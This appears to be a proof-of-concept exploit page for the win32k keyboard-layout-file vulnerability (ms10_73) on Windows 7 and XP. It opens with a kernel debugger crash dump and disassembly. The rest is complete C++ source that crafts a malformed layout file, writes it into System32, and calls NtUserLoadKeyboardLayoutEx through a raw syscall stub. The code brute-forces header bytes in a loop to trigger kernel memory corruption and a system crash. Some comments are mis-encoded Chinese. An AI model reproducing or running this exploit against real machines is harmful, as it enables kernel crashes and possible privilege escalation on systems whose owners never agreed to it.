1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 |
//Crash: /* win7 Access violation - code c0000005 (!!! second chance !!!) win32k!ReadLayoutFile+0x62: 9566d591 8b4834mov ecx,dword ptr [eax+34h] kd> r eax=ffffffe8 ebx=00000000 ecx=fe978b2e edx=000000e0 esi=fe4e0168 edi=00000000 eip=9566d591 esp=985ad8a0 ebp=985ad8bc iopl=0 nv up ei pl nz ac pe cy cs=0008ss=0010ds=0023es=0023fs=0030gs=0000 efl=00010217 win32k!ReadLayoutFile+0x62: 9566d591 8b4834mov ecx,dword ptr [eax+34h] ds:0023:0000001c=???????? kd> kb ChildEBP RetAddrArgs to Child 985acf5c 83d1b083 00000003 bc9827e2 00000065 nt!RtlpBreakWithStatusInstruction 985acfac 83d1bb81 00000003 985ad3b0 00000000 nt!KiBugCheckDebugBreak+0x1c 985ad370 83d1af20 0000008e c0000005 9566d591 nt!KeBugCheck2+0x68b 985ad394 83cf108c 0000008e c0000005 9566d591 nt!KeBugCheckEx+0x1e 985ad7bc 83c7add6 985ad7d8 00000000 985ad82c nt!KiDispatchException+0x1ac 985ad824 83c7ad8a 985ad8bc 9566d591 badb0d00 nt!CommonDispatchException+0x4a 985ad8bc 9566dc6a fe4e0168 80000984 00000160 nt!Kei386EoiHelper+0x192 985ad8dc 95669b7b 80000984 00000160 000001ae win32k!LoadKeyboardLayoutFile+0x70 985ad968 9567c21e 883bf4b0 80000984 08040804 win32k!xxxLoadKeyboardLayoutEx+0x1be 985ad9a4 9566a275 883bf4b0 80000984 08040804 win32k!xxxSafeLoadKeyboardLayoutEx+0x93 985add0c 83c7a1ea 00000038 00000160 000001ae win32k!NtUserLoadKeyboardLayoutEx+0x119 985add0c 777970b4 00000038 00000160 000001ae nt!KiFastCallEntry+0x12a 001ff470 0111c58c 0111c76a 00000038 00000160 ntdll!KiFastSystemCallRet WARNING: Stack unwind information not available. Following frames may be wrong. 001ff9f8 0111c956 00000000 00000000 7ffd9000 ms10_73+0x2c58c Details£º WIN7 .text:BF80D538 pusheax ; int .text:BF80D539 push40000h; int .text:BF80D53E push40h ; int .text:BF80D540 push[ebp+start_buffer] ; FileHandle .text:BF80D543 mov [ebp+plength], ebx .text:BF80D546 mov [ebp+ppbuffer], ebx .text:BF80D549 mov [ebp+var_10], ebx .text:BF80D54C call_LoadFileContent@20 ; LoadFileContent(x,x,x,x,x) .text:BF80D551 testeax, eax .text:BF80D553 jlloc_BF80D6F1 .text:BF80D559 mov ecx, [ebp+ppbuffer]¹¹Ôì¶ÑµØÖ·+3ch´¦µÄdword =0xffffffxx ¼´¿ÉÈÆ¹ý¼ì²â£¬µ¼ÖÂBSOD .text:BF80D55C mov eax, [ecx+3Ch]//ÐèÒª²Â²â¶ÑµÄµØÖ· .text:BF80D55F add eax, ecx .text:BF80D561 cmp eax, ecx .text:BF80D563 jbloc_BF80D6F1 .text:BF80D569 mov ecx, [ebp+plength] .text:BF80D56C mov edx, [ebp+ppbuffer] .text:BF80D56F add ecx, edx .text:BF80D571 lea edx, [eax+0F8h] .text:BF80D577 mov [ebp+plength], ecx .text:BF80D57A cmp edx, ecx .text:BF80D57C jnb loc_BF80D6F1 .text:BF80D582 mov ecx, [eax+34h]----->crash winxp .text:BF8821D7 pusheax ; ViewSize .text:BF8821D8 pushesi ; SectionOffset .text:BF8821D9 pushesi ; CommitSize .text:BF8821DA pushesi ; ZeroBits .text:BF8821DB lea eax, [ebp+BaseAddress] .text:BF8821DE pusheax ; BaseAddress .text:BF8821DF push0FFFFFFFFh; ProcessHandle .text:BF8821E1 push[ebp+Handle]; SectionHandle .text:BF8821E4 callds:__imp__ZwMapViewOfSection@40 ; ZwMapViewOfSection(x,x,x,x,x,x,x,x,x,x) .text:BF8821EA testeax, eax .text:BF8821EC jlloc_BF88238A .text:BF8821F2 mov ecx, [ebp+BaseAddress] .text:BF8821F5 mov eax, [ecx+3Ch] .text:BF8821F8 add eax, ecx .text:BF8821FA movzx edx, word ptr [eax+6] -----¡µcrash */ // poc.cpp : ¶¨Òå¿ØÖÆÌ¨Ó¦ÓóÌÐòµÄÈë¿Úµã¡£ // #include "stdafx.h" #include <windows.h> #include <stdio.h> #include <ntsecapi.h> #pragma comment(lib,"User32.lib") #define MAGIC_OFFSET 0x6261 #define WIN7 1 #define InitializeUnicodeStr(p,s) { \ (p)->Length= wcslen(s)*2; \ (p)->MaximumLength = wcslen(s)*2+2; \ (p)->Buffer = s;\ } #if WIN7 _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle, IN DWORD offTablelow, IN DWORD offTableHigh, IN PUNICODE_STRING puszKeyboardName, IN HKL hKL, IN PUNICODE_STRING puszKLID, IN DWORD dwKLID, IN UINT Flags ) { __asm { mov eax,11E3h mov edx, 7ffe0300h call dword ptr [edx] ret 20h } } #else _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle, IN DWORD offTable, IN PUNICODE_STRING puszKeyboardName, IN HKL hKL, IN PUNICODE_STRING puszKLID, IN DWORD dwKLID, IN UINT Flags ) { __asm { mov eax, 000011c6h mov edx, 7ffe0300h call dword ptr [edx] retn 1Ch } } #endif unsigned char fakeDll2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x44\x01"//0x40 00 00 00 base=fdbbca98 fdbbca00 02443500 "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"// "\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00" "\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xFF\xFF\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash?? 94 10 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00"; ; UNICODE_STRINGuStr; UNICODE_STRING uKerbordname; VOID boom_loadlayout() { KEYBDINPUTkb={0}; INPUT vInput={0}; HANDLEhFile; DWORD dwFuckS0ny; HKL hKbd; WCHAR lpPath[MAX_PATH]={0}; WCHAR lpLayoutFile[MAX_PATH]={L"C:\\Windows\\System32\\lSp0wns.boom111"}; LPVOIDlpShellPtr; //strcpy( lpLayoutFile, L"%lSp0wns.boom111", lpPath); hFile = CreateFileW(lpLayoutFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0,0); if( hFile == INVALID_HANDLE_VALUE ) { printf(" \n[!!] Error:errorcode:%x\n",GetLastError()); exit(0); } WriteFile(hFile, fakeDll2, sizeof(fakeDll2)-1, &dwFuckS0ny, NULL); //printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny); CloseHandle(hFile); hFile = CreateFileW (lpLayoutFile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0,0); if( hFile == INVALID_HANDLE_VALUE ) { printf(" \n[!!] Error\n"); exit(0); } hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) ); printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101 /*HKL NTAPI NtUserLoadKeyboardLayoutEx(IN HANDLE Handle, IN DWORD offTable, IN PUNICODE_STRING puszKeyboardName, IN HKL hKL, IN PUNICODE_STRING puszKLID, IN DWORD dwKLID, IN UINT Flags )*/ //win7ÏÂÃæÕâ¸öº¯ÊýÊǸö²ÎÊýÀ´ÆäÖÐoffTable²ð·Ö³É¸ö //ÎļþÒ»¶¨Òª·ÅÔÚsystem32Ŀ¼ÏÂÃæ²»È»´¥·¢²»ÁË CloseHandle(hFile); //printf("\n[+] Done\n"); } int _tmain(int argc, _TCHAR* argv[]) { LoadLibraryA("user32.dll"); InitializeUnicodeStr(&uStr,L"p3d.dll");//ÏÖÔÚ±ØÐëСÓÚ³¤¶È //fix by instruder InitializeUnicodeStr(&uKerbordname,L"A"); uKerbordname.MaximumLength=0; for (int j=0;j<=2;j++) { for (int i1=0;i1<=0xff;i1++) { for (int i2=0;i2<0xff;i2++) { printf("%x,%x\n",i1,i2); fakeDll2[0x3d]=i1; fakeDll2[0x3e]=i2; fakeDll2[0x3f]=j; boom_loadlayout(); } } } return 0; }// |